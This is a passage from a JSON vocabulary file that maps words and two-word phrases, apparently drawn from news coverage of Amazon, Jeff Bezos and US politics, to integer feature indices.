lot\": 198131,\n  \"rachel martin\": 198132,\n  \"origin level\": 198133,\n  \"competitors antitrust\": 198134,\n  \"attacks tech\": 198135,\n  \"cabin\": 198136,\n  \"enumerates\": 198137,\n  \"unless health\": 198138,\n  \"purchase order\": 198139,\n  \"brandon ap\": 198140,\n  \"young girls\": 198141,\n  \"smart auto\": 198142,\n  \"stiff hood\": 198143,\n  \"instituting\": 198144,\n  \"aladdin\": 198145,\n  \"cars thanks\": 198146,\n  \"postage rates\": 198147,\n  \"america practice\": 198148,\n  \"aff\": 198149,\n  \"notable recent\": 198150,\n  \"costume parties\": 198151,\n  \"resistance trump\": 198152,\n  \"41billion 32billion\": 198153,\n  \"capacity alongside\": 198154,\n  \"blockchain lawrence\": 198155,\n  \"nation trade\": 198156,\n  \"divergence macd\": 198157,\n  \"highest target\": 198158,\n  \"marie callender\": 198159,\n  \"insidious\": 198160,\n  \"called voice\": 198161,\n  \"eventually saw\": 198162,\n  \"hard evidence\": 198163,\n  \"bernardo\": 198164,\n  \"showname html\": 198165,\n  \"ballistic missile\": 198166,\n  \"specific companies\": 198167,\n  \"rate 2018\": 198168,\n  \"cents instead\": 198169,\n  \"ice agents\": 198170,\n  \"guided\": 198171,\n  \"monopolist practices\": 198172,\n  \"simply excess\": 198173,\n  \"democrat laden\": 198174,\n  \"telling cnn\": 198175,\n  \"emergency charge\": 198176,\n  \"text bezos\": 198177,\n  \"film amazon\": 198178,\n  \"namibia\": 198179,\n  \"government relations\": 198180,\n  \"neurological poison\": 198181,\n  \"aurora fulfillment\": 198182,\n  \"accomplish seeding\": 198183,\n  \"callers\": 198184,\n  \"encouraging people\": 198185,\n  \"amid pressure\": 198186,\n  \"old wind\": 198187,\n  \"diaz balart\": 198188,\n  \"low lifes\": 198189,\n  \"couple used\": 198190,\n  \"seattle joined\": 198191,\n  \"chloride\": 198192,\n  \"don compete\": 198193,\n  \"threat saying\": 198194,\n  \"focused amazon\": 198195,\n  \"confusing animal\": 198196,\n  \"ic\": 198197,\n  \"brazen tax\": 198198,\n  \"crimes minutes\": 198199,\n  \"accretive\": 198200,\n  \"khannarohit ro\": 198201,\n  \"company mark\": 198202,\n  \"jack carlton\": 198203,\n  \"trust scrutiny\": 198204,\n  \"collective_072318\": 198205,\n  \"celebrity burglary\": 198206,\n  \"expenses indictment\": 198207,\n  \"engine giant\": 198208,\n  \"coffee\": 198209,\n  \"seasonal\": 198210,\n  \"giving mission\": 198211,\n  \"emerson reads\": 198212,\n  \"screening brief\": 198213,\n  \"definitely vote\": 198214,\n  \"mackenzie alleging\": 198215,\n  \"charles schwabs\": 198216,\n  \"uncontested markets\": 198217,\n  \"slowly fade\": 198218,\n  \"polices tech\": 198219,\n  \"cloud controlled\": 198220,\n  \"church claimed\": 198221,\n  \"vigilante\": 198222,\n  \"worst reputations\": 198223,\n  \"diversity heavily\": 198224,\n  \"drones scary\": 198225,\n  \"denounced new\": 198226,\n  \"america fewer\": 198227,\n  \"clothes\": 198228,\n  \"don lemon\": 198229,\n  \"included 239\": 198230,\n  \"weiss director\": 198231,\n  \"radio ads\": 198232,\n  \"primary goal\": 198233,\n  \"university baker\": 198234,\n  \"hater\": 198235,\n  \"eastern syria\": 198236,\n  \"americans just\": 198237,\n  \"bezos lobbying\": 198238,\n  \"rocket\": 198239,\n  \"usher trump\": 198240,\n  \"channel starting\": 198241,\n  \"finally jim\": 198242,\n  \"oreg\": 198243,\n  \"beautiful thank\": 198244,\n  \"time asked\": 198245,\n  \"media presented\": 198246,\n  \"polarized response\": 198247,\n  \"comment alexa\": 198248,\n  \"yorkshireis cork\": 198249,\n  \"nbc lester\": 198250,\n  \"create space\": 198251,\n  \"fertility environmentalists\": 198252,\n  \"quarter alphaone\": 198253,\n  \"shutdown caused\": 198254,\n  \"deal drags\": 198255,\n  \"terminated\": 198256,\n  \"img_rightsflag false\": 198257,\n  \"russell buettner\": 198258,\n  \"brennan jobs\": 198259,\n  \"handsomely rewarded\": 198260,\n  \"fictional novel\": 198261,\n  \"presidentelect began\": 198262,\n  \"yarish\": 198263,\n  \"appreciate bezos\": 198264,\n  \"political correspondent\": 198265,\n  \"developers\": 198266,\n  \"vision decidedly\": 198267,\n  \"meeting productivity\": 198268,\n  \"steel tariff\": 198269,\n  \"peddlers\": 198270,\n  \"smart glasses\": 198271,\n  \"monopolist tactics\": 198272,\n  \"wise decisions\": 198273,\n  \"behavior president\": 198274,\n  \"reuters nato\": 198275,\n  \"actually required\": 198276,\n  \"recent information\": 198277,\n  \"software eventually\": 198278,\n  \"providing specific\": 198279,\n  \"gene del\": 198280,\n  \"mitch haaseth\": 198281,\n  \"development agencies\": 198282,\n  \"counseljon\": 198283,\n  \"justin sullivan\": 198284,\n  \"meet applicable\": 198285,\n  \"reckoning abusing\": 198286,\n  \"mdc\": 198287,\n  \"unfortunate day\": 198288,\n  \"removed dsw\": 198289,\n  \"susan orlean\": 198290,\n  \"check trump\": 198291,\n  \"online wallet\": 198292,\n  \"embarrassing story\": 198293,\n  \"bank bull\": 198294,\n  \"safe cutting\": 198295,\n  \"certain spineless\": 198296,\n  \"jan story\": 198297,\n  \"customers identify\": 198298,\n  \"divide hides\": 198299,\n  \"private electricity\": 198300,\n  \"comcast monopoly\": 198301,\n  \"people science\": 198302,\n  \"fleeting lauren\": 198303,\n  \"originally located\": 198304,\n  \"bezos implication\": 198305,\n  \"doing inadvertently\": 198306,\n  \"assets 181008114838\": 198307,\n  \"earlier diagnosis\": 198308,\n  \"just following\": 198309,\n  \"heartening truth\": 198310,\n  \"sachs pedigree\": 198311,\n  \"administration began\": 198312,\n  \"free rapid\": 198313,\n  \"company obama\": 198314,\n  \"analytics\": 198315,\n  \"organizations manage\": 198316,\n  \"undisclosed ties\": 198317,\n  \"var p7a\": 198318,\n  \"wearing tennis\": 198319,\n  \"laying\": 198320,\n  \"fulfillment houses\": 198321,\n  \"known risks\": 198322,\n  \"sonos ge\": 198323,\n  \"dustup\": 198324,\n  \"2018 slash\": 198325,\n  \"judge cuts\": 198326,\n  \"giants making\": 198327,\n  \"goldberg vocal\": 198328,\n  \"brains\": 198329,\n  \"devil wears\": 198330,\n  \"comment michael\": 198331,\n  \"elites\": 198332,\n  \"increase taxes\": 198333,\n  \"31st\": 198334,\n  \"censorship bias\": 198335,\n  \"q1 market\": 198336,\n  \"china coming\": 198337,\n  \"multinational technology\": 198338,\n  \"pedro sanchez\": 198339,\n  \"clearly hurt\": 198340,\n  \"massively expanded\": 198341,\n  \"posts roigfranzia\": 198342,\n  \"create web\": 198343,\n  \"billion 110\": 198344,\n  \"officials warned\": 198345,\n  \"connecting mega\": 198346,\n  \"methylene\": 198347,\n  \"500 kari\": 198348,\n  \"225 index\": 198349,\n  \"dimensions\": 198350,\n  \"italy nbc\": 198351,\n  \"old national\": 198352,\n  \"travel challenge\": 198353,\n  \"deal making\": 198354,\n  \"buying house\": 198355,\n  \"brian brian\": 198356,\n  \"bezos claiming\": 198357,\n  \"standoff sergio\": 198358,\n  \"retailers actually\": 198359,\n  \"actually grew\": 198360,\n  \"platforms topped\": 198361,\n  \"billion usd\": 198362,\n  \"term qanon\": 198363,\n  \"company bourbon\": 198364,\n  \"wrote additionally\": 198365,\n  \"2018 related\": 198366,\n  \"public education\": 198367,\n  \"thing using\": 198368,\n  \"economic realities\": 198369,\n  \"money joan\": 198370,\n  \"newstoday\": 198371,\n  \"analyst david\": 198372,\n  \"say apple\": 198373,\n  \"stimulates\": 198374,\n  \"true capital\": 198375,\n  \"officials including\": 198376,\n  \"minute interview\": 198377,\n  \"garfield\": 198378,\n  \"finance reducing\": 198379,\n  \"terminals check\": 198380,\n  \"target private\": 198381,\n  \"report ilhan\": 198382,\n  \"1991 testimony\": 198383,\n  \"abortion referred\": 198384,\n  \"trump facebooktwittergoogle\": 198385,\n  \"gender inequality\": 198386,\n  \"company finds\": 198387,\n  \"bangladesh refugee\": 198388,\n  \"finance considers\": 198389,\n  \"elephants\": 198390,\n  \"holders consumers\": 198391,\n  \"nintendo dsi\": 198392,\n  \"technica tips\": 198393,\n  \"shortages resulted\": 198394,\n  \"planet led\": 198395,\n  \"held 648\": 198396,\n  \"denver good\": 198397,\n  \"food housing\": 198398,\n  \"patient don\": 198399,\n  \"subpoenaed\": 198400,\n  \"surveyed believe\": 198401,\n  \"responded\": 198402,\n  \"792\": 198403,\n  \"million vehicles\": 198404,\n  \"towns amazon\": 198405,\n  \"david bach\": 198406,\n  \"sapienza\": 198407,\n  \"architecture\": 198408,\n  \"person prior\": 198409,\n  \"republicans\": 198410,\n  \"cramer don\": 198411,\n  \"probably think\": 198412,\n  \"boulevard\": 198413,\n  \"fined facebook\": 198414,\n  \"years died\": 198415,\n  \"corner think\": 198416,\n  \"comments\": 198417,\n  \"company reuters\": 198418,\n  \"great precision\": 198419,\n  \"public accountability\": 198420,\n  \"despite rubio\": 198421,\n  \"jimmy vielkind\": 198422,\n  \"best thing\": 198423,\n  \"outlet affirming\": 198424,\n  \"physician practices\": 198425,\n  \"debt regulators\": 198426,\n  \"worst punishment\": 198427,\n  \"people believe\": 198428,\n  \"francisco rescued\": 198429,\n  \"secretly funded\": 198430,\n  \"mean young\": 198431,\n  \"arbitrary efforts\": 198432,\n  \"search site\": 198433,\n  \"illiquid\": 198434,\n  \"haughney\": 198435,\n  \"amazon mass\": 198436,\n  \"severely regulate\": 198437,\n  \"report quoted\": 198438,\n  \"leading product\": 198439,\n  \"department litigation\": 198440,\n  \"company noticed\": 198441,\n  \"michal cc\": 198442,\n  \"prevent trump\": 198443,\n  \"cvs store\": 198444,\n  \"disappointing guidance\": 198445,\n  \"sephora\": 198446,\n  \"tiny chips\": 198447,\n  \"8217 controversial\": 198448,\n  \"m2x o8\": 198449,\n  \"sec fine\": 198450,\n  \"country population\": 198451,\n  \"tape parade\": 198452,\n  \"asia great\": 198453,\n  \"dma\": 198454,\n  \"legal national\": 198455,\n  \"bezos interests\": 198456,\n  \"post surgical\": 198457,\n  \"mandalay\": 198458,\n  \"routinely guides\": 198459,\n  \"took heat\": 198460,\n  \"directly represent\": 198461,\n  \"restaurant rat\": 198462,\n  \"business customers\": 198463,\n  \"pin board\": 198464,\n  \"videocardcontents headlinetext\": 198465,\n  \"author ken\": 198466,\n  \"kun je\": 198467,\n  \"ahmed pakistani\": 198468,\n  \"grammy awards6\": 198469,\n  \"class enviros\": 198470,\n  \"radio sputniknews\": 198471,\n  \"service lightweight\": 198472,\n  \"ly 2n78tpk\": 198473,\n  \"best attempt\": 198474,\n  \"analytics modernization\": 198475,\n  \"continuing pattern\": 198476,\n  \"david levering\": 198477,\n  \"pain nyc\": 198478,\n  \"dropping mail\": 198479,\n  \"small government\": 198480,\n  \"offsetting emissions\": 198481,\n  \"seattle proposed\": 198482,\n  \"warned google\": 198483,\n  \"nyt cnn\": 198484,\n  \"hegemony depends\": 198485,\n  \"matt lauer\": 198486,\n  \"elections billionaires\": 198487,\n  \"environmental politics\": 198488,\n  \"reportedly plans\": 198489,\n  \"gulati\": 198490,\n  \"celebrants walker\": 198491,\n  \"clearly directed\": 198492,\n  \"ge specifically\": 198493,\n  \"article trump\": 198494,\n  \"rojas queens\": 198495,\n  \"linkedin today\": 198496,\n  \"realdonaldtrump leaves\": 198497,\n  \"valley extend\": 198498,\n  \"major shade\": 198499,\n  \"make robots\": 198500,\n  \"media activity\": 198501,\n  \"just assuming\": 198502,\n  \"josh billinson\": 198503,\n  \"notable web\": 198504,\n  \"yelp profit\": 198505,\n  \"considers hostile\": 198506,\n  \"states premium\": 198507,\n  \"dinner employs\": 198508,\n  \"compartmentalization\": 198509,\n  \"seachange\": 198510,\n  \"n923056\": 198511,\n  \"followed maxine\": 198512,\n  \"pillpack chief\": 198513,\n  \"jumpedby\": 198514,\n  \"investors elon\": 198515,\n  \"baby cobra\": 198516,\n  \"web giant\": 198517,\n  \"comics separately\": 198518,\n  \"pontiff\": 198519,\n  \"deceptive ge\": 198520,\n  \"coming conflict\": 198521,\n  \"horizon\": 198522,\n  \"tbridis\": 198523,\n  \"panther\": 198524,\n  \"china japan\": 198525,\n  \"owned pretty\": 198526,\n  \"items ordered\": 198527,\n  \"film industry\": 198528,\n  \"discuss ways\": 198529,\n  \"20c\": 198530,\n  \"toni collette\": 198531,\n  \"wage increases\": 198532,\n  \"frustrated\": 198533,\n  \"pennsgrove beautiful\": 198534,\n  \"named nathan\": 198535,\n  \"journal 2018\": 198536,\n  \"shares rose\": 198537,\n  \"pay higher\": 198538,\n  \"durbin sent\": 198539,\n  \"political favours\": 198540,\n  \"sutherland\": 198541,\n  \"rest overtime\": 198542,\n  \"group reporters\": 198543,\n  \"comment rosenstein\": 198544,\n  \"amgn\": 198545,\n  \"print edition\": 198546,\n  \"koch connected\": 198547,\n  \"returns audit\": 198548,\n  \"marries wealthy\": 198549,\n  \"labour party\": 198550,\n  \"political action\": 198551,\n  \"capitals owner\": 198552,\n  \"improperly misheard\": 198553,\n  \"essay collection\": 198554,\n  \"mueller wants\": 198555,\n  \"gibson president\": 198556,\n  \"prefer\": 198557,\n  \"public search\": 198558,\n  \"naughty news\": 198559,\n  \"just year\": 198560,\n  \"devil character\": 198561,\n  \"double amzn\": 198562,\n  \"disgraceful performances\": 198563,\n  \"counterfeit products\": 198564,\n  \"145\": 198565,\n  \"totaling\": 198566,\n  \"bachelor degree\": 198567,\n  \"politically active\": 198568,\n  \"wealthtrust\": 198569,\n  \"point tomi\": 198570,\n  \"allowed sen\": 198571,\n  \"character\": 198572,\n  \"explore characters\": 198573,\n  \"year 2056\": 198574,\n  \"greed amazon\": 198575,\n  \"poetry tangent\": 198576,\n  \"kreps cocreator\": 198577,\n  \"driver crashes\": 198578,\n  \"sold including\": 198579,\n  \"dave ferrar\": 198580,\n  \"billion cook\": 198581,\n  \"delicious meal\": 198582,\n  \"700 opportunity\": 198583,\n  \"video surveillance\": 198584,\n  \"consequential cases\": 198585,\n  \"woman karen\": 198586,\n  \"email investigation\": 198587,\n  \"love sarge\": 198588,\n  \"president jean\": 198589,\n  \"stoking fresh\": 198590,\n  \"jesse custer\": 198591,\n  \"criticize walmart\": 198592,\n  \"generic\": 198593,\n  \"reuters judge\": 198594,\n  \"rusting ferryboat\": 198595,\n  \"customers using\": 198596,\n  \"abuse trans\": 198597,\n  \"region rep\": 198598,\n  \"significant accuracy\": 198599,\n  \"473\": 198600,\n  \"destroy\": 198601,\n  \"faced persistent\": 198602,\n  \"gas\": 198603,\n  \"launches ad\": 198604,\n  \"lines painted\": 198605,\n  \"president thinks\": 198606,\n  \"management community\": 198607,\n  \"bezos included\": 198608,\n  \"house mulls\": 198609,\n  \"twitter rickjnewmanfollow\": 198610,\n  \"reliant\": 198611,\n  \"pilcher pllc\": 198612,\n  \"l9x\": 198613,\n  \"company online\": 198614,\n  \"manipulative\": 198615,\n  \"slow jim\": 198616,\n  \"2018 inflamed\": 198617,\n  \"added love\": 198618,\n  \"china president\": 198619,\n  \"unveiled series\": 198620,\n  \"defending dhs\": 198621,\n  \"2019 big\": 198622,\n  \"criminal investigations\": 198623,\n  \"carrie fisher\": 198624,\n  \"64gb\": 198625,\n  \"organization modeled\": 198626,\n  \"war era\": 198627,\n  \"category france\": 198628,\n  \"predicts 2018\": 198629,\n  \"iraq war\": 198630,\n  \"llc home\": 198631,\n  \"robocall\": 198632,\n  \"retirement funds\": 198633,\n  \"pagels\": 198634,\n  \"russia trump\": 198635,\n  \"monthly fees\": 198636,\n  \"scantily\": 198637,\n  \"questions including\": 198638,\n  \"limited selection\": 198639,\n  \"trust adopted\": 198640,\n  \"ami reportedly\": 198641,\n  \"recessed\": 198642,\n  \"repeated clashes\": 198643,\n  \"revolving\": 198644,\n  \"uk tl\": 198645,\n  \"congresswoman suzan\": 198646,\n  \"succeeded bezos\": 198647,\n  \"hardened cynics\": 198648,\n  \"rebounding\": 198649,\n  \"states including\": 198650,\n  \"scene armed\": 198651,\n  \"pgtype homepage\": 198652,\n  \"university joined\": 198653,\n  \"month moving\": 198654,\n  \"homeless families\": 198655,\n  \"distinguished\": 198656,\n  \"iduskbn1k6278\": 198657,\n  \"trust probes\": 198658,\n  \"overall socio\": 198659,\n  \"photos taken\": 198660,\n  \"flu vaccine\": 198661,\n  \"significant blowback\": 198662,\n  \"tough time\": 198663,\n  \"month demanding\": 198664,\n  \"observe boost\": 198665,\n  \"separate post\": 198666,\n  \"factors facing\": 198667,\n  \"snap participation\": 198668,\n  \"finalizing\": 198669,\n  \"current period\": 198670,\n  \"politics faison\": 198671,\n  \"answer force\": 198672,\n  \"600 high\": 198673,\n  \"accounts gary\": 198674,\n  \"nike\": 198675,\n  \"email spokeswoman\": 198676,\n  \"relationsamazon press\": 198677,\n  \"held ukraine\": 198678,\n  \"disruptive company\": 198679,\n  \"ave starting\": 198680,\n  \"amazon reporter\": 198681,\n  \"portfolio tweaks\": 198682,\n  \"cfo warner\": 198683,\n  \"longtime collaborator\": 198684,\n  \"growing anxiety\": 198685,\n  \"report recommended\": 198686,\n  \"licensing deals\": 198687,\n  \"citigroup study\": 198688,\n  \"previously run\": 198689,\n  \"rampant turnover\": 198690,\n  \"resist donald\": 198691,\n  \"note factcheck\": 198692,\n  \"instance trump\": 198693,\n  \"bezos publishes\": 198694,\n  \"billion yesterday\": 198695,\n  \"rapists\": 198696,\n  \"month ago\": 198697,\n  \"pay staff\": 198698,\n  \"dani lever\": 198699,\n  \"strongly\": 198700,\n  \"aided\": 198701,\n  \"provided refuge\": 198702,\n  \"watson don\": 198703,\n  \"content needs\": 198704,\n  \"longest judicial\": 198705,\n  \"duly picked\": 198706,\n  \"reports noting\": 198707,\n  \"lauren brother\": 198708,\n  \"remake plans\": 198709,\n  \"showing texts\": 198710,\n  \"unflattering things\": 198711,\n  \"trump posts\": 198712,\n  \"simple rulejoin\": 198713,\n  \"warr\": 198714,\n  \"sponsorships\": 198715,\n  \"576 million\": 198716,\n  \"post tax\": 198717,\n  \"conventional\": 198718,\n  \"airport delta\": 198719,\n  \"winning believe\": 198720,\n  \"enjoy safe\": 198721,\n  \"listening objectively\": 198722,\n  \"quarterly dividend\": 198723,\n  \"job market\": 198724,\n  \"fires los\": 198725,\n  \"agrawal reid\": 198726,\n  \"nonprofits want\": 198727,\n  \"bleeds\": 198728,\n  \"noodles airs\": 198729,\n  \"fact received\": 198730,\n  \"shirts\": 198731,\n  \"previously considered\": 198732,\n  \"fiscal support\": 198733,\n  \"trump collusion\": 198734,\n  \"array a4ee\": 198735,\n  \"offline strategies\": 198736,\n  \"stayed uncharacteristically\": 198737,\n  \"criticizing trump\": 198738,\n  \"bloc slash\": 198739,\n  \"past efforts\": 198740,\n  \"inaccuracies\": 198741,\n  \"curiosity\": 198742,\n  \"personal computer\": 198743,\n  \"organization\": 198744,\n  \"becker firm\": 198745,\n  \"flack\": 198746,\n  \"administer\": 198747,\n  \"comedic allegory\": 198748,\n  \"iran 150\": 198749,\n  \"package products\": 198750,\n  \"richard stark\": 198751,\n  \"child rearing\": 198752,\n  \"amazon gas\": 198753,\n  \"advertisement\": 198754,\n  \"tricorder\": 198755,\n  \"nasdaq technology\": 198756,\n  \"magazine writing\": 198757,\n  \"viewers\": 198758,\n  \"clicks\": 198759,\n  \"facilitated charity\": 198760,\n  \"default seller\": 198761,\n  \"city great\": 198762,\n  \"trump meaning\": 198763,\n  \"stars post\": 198764,\n  \"played pam\": 198765,\n  \"free lunch\": 198766,\n  \"presidenttrump\": 198767,\n  \"coltin\": 198768,\n  \"maryland newspaper\": 198769,\n  \"neo\": 198770,\n  \"decade opinion\": 198771,\n  \"michael s\\u00e1nchez\": 198772,\n  \"tm according\": 198773,\n  \"argenti communications\": 198774,\n  \"asked similar\": 198775,\n  \"stalwart sent\": 198776,\n  \"racism\": 198777,\n  \"historical morning\": 198778,\n  \"returning rental\": 198779,\n  \"various losers\": 198780,\n  \"launched novel\": 198781,\n  \"trump executive\": 198782,\n  \"trump giuliani\": 198783,\n  \"street looks\": 198784,\n  \"industry 19659002\": 198785,\n  \"site removing\": 198786,\n  \"invasive militarized\": 198787,\n  \"advance jeffs\": 198788,\n  \"sam walton\": 198789,\n  \"privatization manufacturers\": 198790,\n  \"core online\": 198791,\n  \"american millionaires\": 198792,\n  \"trump tweeted\": 198793,\n  \"ou want\": 198794,\n  \"homecoming amazon\": 198795,\n  \"additional price\": 198796,\n  \"transportation company\": 198797,\n  \"roast brisket\": 198798,\n  \"allegedly beat\": 198799,\n  \"acknowledges\": 198800,\n  \"overall results\": 198801,\n  \"imperfect science\": 198802,\n  \"josh feldman\": 198803,\n  \"tilley\": 198804,\n  \"history making\": 198805,\n  \"sex\": 198806,\n  \"2017 elvis\": 198807,\n  \"shear maeve\": 198808,\n  \"immelt ends\": 198809,\n  \"growing categories\": 198810,\n  \"fun trump\": 198811,\n  \"away governor\": 198812,\n  \"especially creating\": 198813,\n  \"ambassador residence\": 198814,\n  \"bezos firmly\": 198815,\n  \"commissioner howard\": 198816,\n  \"politicians publicly\": 198817,\n  \"cap tops\": 198818,\n  \"launch account\": 198819,\n  \"investigation info\": 198820,\n  \"initial plans\": 198821,\n  \"mary place\": 198822,\n  \"business regular\": 198823,\n  \"men baby\": 198824,\n  \"amazon delivered\": 198825,\n  \"jonathan martin\": 198826,\n  \"enterprises located\": 198827,\n  \"supersede prenuptial\": 198828,\n  \"sciences\": 198829,\n  \"angel mom\": 198830,\n  \"trumping\": 198831,\n  \"988\": 198832,\n  \"defense embed\": 198833,\n  \"vote drew\": 198834,\n  \"onewest ceos\": 198835,\n  \"faces seen\": 198836,\n  \"v4\": 198837,\n  \"usps sell\": 198838,\n  \"best coming\": 198839,\n  \"service mail\": 198840,\n  \"beth mccarthy\": 198841,\n  \"citigroup estimated\": 198842,\n  \"content author\": 198843,\n  \"cities 2018\": 198844,\n  \"business reported\": 198845,\n  \"chinook\": 198846,\n  \"service does\": 198847,\n  \"buildings graffiti\": 198848,\n  \"story surprised\": 198849,\n  \"stockpiling birth\": 198850,\n  \"becker tried\": 198851,\n  \"trump concern\": 198852,\n  \"realism meets\": 198853,\n  \"paint scheme\": 198854,\n  \"philanthropy education\": 198855,\n  \"way bezos\": 198856,\n  \"election chip\": 198857,\n  \"office isn\": 198858,\n  \"specifically alleges\": 198859,\n  \"potential hq2\": 198860,\n  \"john owen\": 198861,\n  \"patently incompetent\": 198862,\n  \"busch\": 198863,\n  \"proud people\": 198864,\n  \"population facebook\": 198865,\n  \"timeframetoggle\": 198866,\n  \"time john\": 198867,\n  \"challenging issue\": 198868,\n  \"transformation naff\": 198869,\n  \"gift anya\": 198870,\n  \"flouting\": 198871,\n  \"trump demonizing\": 198872,\n  \"tm business\": 198873,\n  \"disrepute\": 198874,\n  \"rnc caldwell\": 198875,\n  \"later eager\": 198876,\n  \"sanders did\": 198877,\n  \"base according\": 198878,\n  \"family farm\": 198879,\n  \"key graf\": 198880,\n  \"york times\": 198881,\n  \"atlas air\": 198882,\n  \"t000138309 t000047680\": 198883,\n  \"trumptrivia facts\": 198884,\n  \"simon maloy\": 198885,\n  \"voted california\": 198886,\n  \"mutual\": 198887,\n  \"brazilian agribusiness\": 198888,\n  \"dropped shortly\": 198889,\n  \"sanders satisfied\": 198890,\n  \"rebuking\": 198891,\n  \"ingber\": 198892,\n  \"edge including\": 198893,\n  \"task force\": 198894,\n  \"campaign associate\": 198895,\n  \"biggest spenders\": 198896,\n  \"justified david\": 198897,\n  \"subsidize employees\": 198898,\n  \"establishing campaign\": 198899,\n  \"trying\": 198900,\n  \"google including\": 198901,\n  \"list keeping\": 198902,\n  \"earners\": 198903,\n  \"matter treasury\": 198904,\n  \"berkowitz seth\": 198905,\n  \"ferret\": 198906,\n  \"artificial sweeteners\": 198907,\n  \"fledged amazon\": 198908,\n  \"historical role\": 198909,\n  \"public denials\": 198910,\n  \"huge issue\": 198911,\n  \"quo deal\": 198912,\n  \"obama post\": 198913,\n  \"remain secret\": 198914,\n  \"birth cell\": 198915,\n  \"unions critics\": 198916,\n  \"specific anti\": 198917,\n  \"buffett arnault\": 198918,\n  \"perry bailout\": 198919,\n  \"publication embedded\": 198920,\n  \"directly tied\": 198921,\n  \"valley folklore\": 198922,\n  \"hyped olympic\": 198923,\n  \"jobs program\": 198924,\n  \"pfizer ceo\": 198925,\n  \"paypal pricing\": 198926,\n  \"boyfriend seasons\": 198927,\n  \"military personnel\": 198928,\n  \"richard madden\": 198929,\n  \"near bezos\": 198930,\n  \"generate 258\": 198931,\n  \"post american\": 198932,\n  \"new digital\": 198933,\n  \"favor\": 198934,\n  \"shortfall\": 198935,\n  \"carnival carnival\": 198936,\n  \"reason wieser\": 198937,\n  \"boarder\": 198938,\n  \"rant\": 198939,\n  \"lockdown mode\": 198940,\n  \"recent public\": 198941,\n  \"golfer tiger\": 198942,\n  \"amazon trading\": 198943,\n  \"amidst\": 198944,\n  \"haunted trump\": 198945,\n  \"denouncing google\": 198946,\n  \"curry born\": 198947,\n  \"newsletter signup\": 198948,\n  \"honest critics\": 198949,\n  \"pep guardiola\": 198950,\n  \"globeandmail\": 198951,\n  \"shoe\": 198952,\n  \"amazon close\": 198953,\n  \"considering imposing\": 198954,\n  \"send package\": 198955,\n  \"newsman book\": 198956,\n  \"brexit 2019\": 198957,\n  \"market leading\": 198958,\n  \"challenge seattle\": 198959,\n  \"lost profit\": 198960,\n  \"offer variety\": 198961,\n  \"bgsa supply\": 198962,\n  \"professor paul\": 198963,\n  \"beginning mueller\": 198964,\n  \"create supply\": 198965,\n  \"shaub\": 198966,\n  \"newer ones\": 198967,\n  \"nicki minaj\": 198968,\n  \"mcternan\": 198969,\n  \"fried\": 198970,\n  \"foods nyse\": 198971,\n  \"david madden\": 198972,\n  \"pulled lower\": 198973,\n  \"verhoeven\": 198974,\n  \"giant paid\": 198975,\n  \"twsrc 5etfw\": 198976,\n  \"recode conference\": 198977,\n  \"completely independent\": 198978,\n  \"schoolyard style\": 198979,\n  \"romantic couple\": 198980,\n  \"times plays\": 198981,\n  \"observing becker\": 198982,\n  \"band canned\": 198983,\n  \"titled enemies\": 198984,\n  \"conveniently\": 198985,\n  \"number 611\": 198986,\n  \"trump attitude\": 198987,\n  \"islands\": 198988,\n  \"separate offerings\": 198989,\n  \"hunt led\": 198990,\n  \"laud\": 198991,\n  \"notches\": 198992,\n  \"individuals affiliated\": 198993,\n  \"formulas evolutions\": 198994,\n  \"employee uncover\": 198995,\n  \"szhueznnwb\": 198996,\n  \"construction brian\": 198997,\n  \"search thingy\": 198998,\n  \"fabric\": 198999,\n  \"key sales\": 199000,\n  \"america provides\": 199001,\n  \"riveting dark\": 199002,\n  \"county investigators\": 199003,\n  \"trump make\": 199004,\n  \"tasers\": 199005,\n  \"maximum dollar\": 199006,\n  \"diversified\": 199007,\n  \"inflation trend\": 199008,\n  \"academic sentenced\": 199009,\n  \"getting confirmed\": 199010,\n  \"company sent\": 199011,\n  \"infantry battalion\": 199012,\n  \"corleone\": 199013,\n  \"evening amazon\": 199014,\n  \"longer wants\": 199015,\n  \"reputation tonight\": 199016,\n  \"decisive steps\": 199017,\n  \"screening\": 199018,\n  \"hikers rescued\": 199019,\n  \"alliance dropped\": 199020,\n  \"shrinks\": 199021,\n  \"ineligible\": 199022,\n  \"deputy editor\": 199023,\n  \"economy biggest\": 199024,\n  \"live longer\": 199025,\n  \"ethical behavior\": 199026,\n  \"printed letters\": 199027,\n  \"cohen kristine\": 199028,\n  \"lori\": 199029,\n  \"lead single\": 199030,\n  \"bonn\\u00e9\": 199031,\n  \"children sent\": 199032,\n  \"startup blue\": 199033,\n  \"sanders sent\": 199034,\n  \"movie rainy\": 199035,\n  \"acting ceo\": 199036,\n  \"produce\": 199037,\n  \"critics question\": 199038,\n  \"largest owner\": 199039,\n  \"x0 global\": 199040,\n  \"cramer concluded\": 199041,\n  \"2017 fiscal\": 199042,\n  \"bezos previously\": 199043,\n  \"going away\": 199044,\n  \"contractor access\": 199045,\n  \"helio\": 199046,\n  \"brazil agriculture\": 199047,\n  \"sexual relationship\": 199048,\n  \"contenttype video\": 199049,\n  \"worth repeating\": 199050,\n  \"law professors\": 199051,\n  \"food wine\": 199052,\n  \"person direct\": 199053,\n  \"released report\": 199054,\n  \"2030s\": 199055,\n  \"vulnerable morgan\": 199056,\n  \"caicos\": 199057,\n  \"prior range\": 199058,\n  \"design source\": 199059,\n  \"mackenzie\": 199060,\n  \"leakers surely\": 199061,\n  \"p1rjfrpwte nick\": 199062,\n  \"2020 case\": 199063,\n  \"tech heavy\": 199064,\n  \"schroeder 415\": 199065,\n  \"open warehouse\": 199066,\n  \"erin banco\": 199067,\n  \"outlet bezos\": 199068,\n  \"contenttype image\": 199069,\n  \"g7a return\": 199070,\n  \"ruins washington\": 199071,\n  \"tyler remarked\": 199072,\n  \"presidential debates\": 199073,\n  \"house doesn\": 199074,\n  \"games atp\": 199075,\n  \"briskly\": 199076,\n  \"charters\": 199077,\n  \"epa official\": 199078,\n  \"possible analysts\": 199079,\n  \"electronic prescriptions\": 199080,\n  \"todefer defer\": 199081,\n  \"public exchange\": 199082,\n  \"household essentials\": 199083,\n  \"drop puts\": 199084,\n  \"amazon retail\": 199085,\n  \"touches\": 199086,\n  \"thoughts especially\": 199087,\n  \"rising costs\": 199088,\n  \"include pose\": 199089,\n  \"doesn stop\": 199090,\n  \"retrade\": 199091,\n  \"obtained private\": 199092,\n  \"provide treatment\": 199093,\n  \"email hope\": 199094,\n  \"school support\": 199095,\n  \"idea jim\": 199096,\n  \"stenberg\": 199097,\n  \"seriously considers\": 199098,\n  \"uma\\u00f1a narcos\": 199099,\n  \"sunlit days\": 199100,\n  \"cloud provider\": 199101,\n  \"play 1011thewiz\": 199102,\n  \"soundness\": 